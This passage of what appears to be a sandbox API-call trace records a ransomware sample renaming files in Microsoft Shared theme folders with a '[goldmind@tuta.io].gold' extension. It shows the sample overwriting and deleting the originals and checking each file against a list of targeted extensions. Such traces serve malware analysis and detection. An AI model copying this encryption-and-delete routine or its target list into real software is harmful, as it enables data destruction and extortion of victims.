hTemplateFile=0x0) returned 0x1f4 [0041.293] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=20371) returned 1 [0041.293] CloseHandle (hObject=0x1f4) returned 1 [0041.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0041.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.293] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.293] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.294] GetLastError () returned 0x0 [0041.294] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0041.337] WriteFile (in: hFile=0x178, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0041.338] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.338] WriteFile (in: hFile=0x178, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.338] SetEndOfFile (hFile=0x178) returned 1 [0041.340] CloseHandle (hObject=0x178) returned 1 [0041.340] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.340] SetEndOfFile (hFile=0x1f4) returned 1 [0041.341] CloseHandle (hObject=0x1f4) returned 1 [0041.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.341] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.342] lstrlenW (lpString=".doc") returned 4 [0041.342] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.342] lstrlenW (lpString=".docx") returned 5 [0041.342] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.342] lstrlenW (lpString=".pdf") returned 4 [0041.342] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.342] lstrlenW (lpString=".xls") returned 4 [0041.342] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.342] lstrlenW (lpString=".xlsx") returned 5 [0041.342] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.342] lstrlenW (lpString=".ppt") returned 4 [0041.342] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.342] lstrlenW (lpString=".zip") returned 4 [0041.342] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.342] lstrlenW (lpString=".rar") returned 4 [0041.342] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.342] lstrlenW (lpString=".bz2") returned 4 [0041.342] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.342] lstrlenW (lpString=".7z") returned 3 [0041.342] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.342] lstrlenW (lpString=".dbf") returned 4 [0041.342] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.342] lstrlenW (lpString=".1cd") returned 4 [0041.342] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.342] lstrlenW (lpString=".jpg") returned 4 [0041.342] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.342] lstrlenW (lpString=".doc") returned 4 [0041.342] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.342] lstrlenW (lpString=".docx") returned 5 [0041.342] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.342] lstrlenW (lpString=".pdf") returned 4 [0041.342] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.342] lstrlenW (lpString=".xls") returned 4 [0041.342] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.342] lstrlenW (lpString=".xlsx") returned 5 [0041.342] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.342] lstrlenW (lpString=".ppt") returned 4 [0041.342] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.342] lstrlenW (lpString=".zip") returned 4 [0041.342] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.342] lstrlenW (lpString=".rar") returned 4 [0041.343] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.343] lstrlenW (lpString=".bz2") returned 4 [0041.343] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.343] lstrlenW (lpString=".7z") returned 3 [0041.343] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.343] lstrlenW (lpString=".dbf") returned 4 [0041.343] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.343] lstrlenW (lpString=".1cd") returned 4 [0041.343] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0041.343] lstrlenW (lpString=".jpg") returned 4 [0041.343] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.343] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.343] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.343] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1453) returned 1 [0041.343] CloseHandle (hObject=0x1f4) returned 1 [0041.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0041.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.343] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.344] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0041.377] GetLastError () returned 0x0 [0041.377] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x5ad, lpOverlapped=0x0) returned 1 [0041.378] WriteFile (in: hFile=0x200, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0041.379] ReadFile (in: hFile=0x1f4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.379] WriteFile (in: hFile=0x200, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.379] SetEndOfFile (hFile=0x200) returned 1 [0041.379] CloseHandle (hObject=0x200) returned 1 [0041.379] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.379] SetEndOfFile (hFile=0x1f4) returned 1 [0041.379] CloseHandle (hObject=0x1f4) returned 1 [0041.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.380] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.380] lstrlenW (lpString=".doc") returned 4 [0041.380] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.380] lstrlenW (lpString=".docx") returned 5 [0041.380] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.380] lstrlenW (lpString=".pdf") returned 4 [0041.380] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.380] lstrlenW (lpString=".xls") returned 4 [0041.380] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.380] lstrlenW (lpString=".xlsx") returned 5 [0041.380] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.380] lstrlenW (lpString=".ppt") returned 4 [0041.380] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.380] lstrlenW (lpString=".zip") returned 4 [0041.380] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.380] lstrlenW (lpString=".rar") returned 4 [0041.380] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.380] lstrlenW (lpString=".bz2") returned 4 [0041.380] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.380] lstrlenW (lpString=".7z") returned 3 [0041.380] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.380] lstrlenW (lpString=".dbf") returned 4 [0041.380] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.380] lstrlenW (lpString=".1cd") returned 4 [0041.380] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.380] lstrlenW (lpString=".jpg") returned 4 [0041.380] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.381] lstrlenW (lpString=".doc") returned 4 [0041.381] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.381] lstrlenW (lpString=".docx") returned 5 [0041.381] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.381] lstrlenW (lpString=".pdf") returned 4 [0041.381] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.381] lstrlenW (lpString=".xls") returned 4 [0041.381] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.381] lstrlenW (lpString=".xlsx") returned 5 [0041.381] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.381] lstrlenW (lpString=".ppt") returned 4 [0041.381] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.381] lstrlenW (lpString=".zip") returned 4 [0041.381] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.381] lstrlenW (lpString=".rar") returned 4 [0041.381] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.381] lstrlenW (lpString=".bz2") returned 4 [0041.381] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.381] lstrlenW (lpString=".7z") returned 3 [0041.381] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.381] lstrlenW (lpString=".dbf") returned 4 [0041.381] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.381] lstrlenW (lpString=".1cd") returned 4 [0041.381] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0041.381] lstrlenW (lpString=".jpg") returned 4 [0041.381] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.381] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.381] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.384] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=32403) returned 1 [0041.384] CloseHandle (hObject=0x204) returned 1 [0041.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0041.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.384] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.384] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.411] GetLastError () returned 0x0 [0041.411] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0041.412] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0041.413] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.413] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.413] SetEndOfFile (hFile=0x1f4) returned 1 [0041.414] CloseHandle (hObject=0x1f4) returned 1 [0041.414] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.414] SetEndOfFile (hFile=0x204) returned 1 [0041.414] CloseHandle (hObject=0x204) returned 1 [0041.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.415] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.415] lstrlenW (lpString=".doc") returned 4 [0041.415] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.415] lstrlenW (lpString=".docx") returned 5 [0041.415] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.415] lstrlenW (lpString=".pdf") returned 4 [0041.415] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.415] lstrlenW (lpString=".xls") returned 4 [0041.415] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.415] lstrlenW (lpString=".xlsx") returned 5 [0041.415] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.415] lstrlenW (lpString=".ppt") returned 4 [0041.415] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.415] lstrlenW (lpString=".zip") returned 4 [0041.415] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.415] lstrlenW (lpString=".rar") returned 4 [0041.415] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.415] lstrlenW (lpString=".bz2") returned 4 [0041.415] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.415] lstrlenW (lpString=".7z") returned 3 [0041.415] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.415] lstrlenW (lpString=".dbf") returned 4 [0041.415] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.415] lstrlenW (lpString=".1cd") returned 4 [0041.415] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.415] lstrlenW (lpString=".jpg") returned 4 [0041.415] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.416] lstrlenW (lpString=".doc") returned 4 [0041.416] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.416] lstrlenW (lpString=".docx") returned 5 [0041.416] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.416] lstrlenW (lpString=".pdf") returned 4 [0041.416] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.416] lstrlenW (lpString=".xls") returned 4 [0041.416] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.416] lstrlenW (lpString=".xlsx") returned 5 [0041.416] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.416] lstrlenW (lpString=".ppt") returned 4 [0041.416] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.416] lstrlenW (lpString=".zip") returned 4 [0041.416] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.416] lstrlenW (lpString=".rar") returned 4 [0041.416] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.416] lstrlenW (lpString=".bz2") returned 4 [0041.416] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.416] lstrlenW (lpString=".7z") returned 3 [0041.416] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.416] lstrlenW (lpString=".dbf") returned 4 [0041.416] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.416] lstrlenW (lpString=".1cd") returned 4 [0041.416] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0041.416] lstrlenW (lpString=".jpg") returned 4 [0041.416] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.416] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.416] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 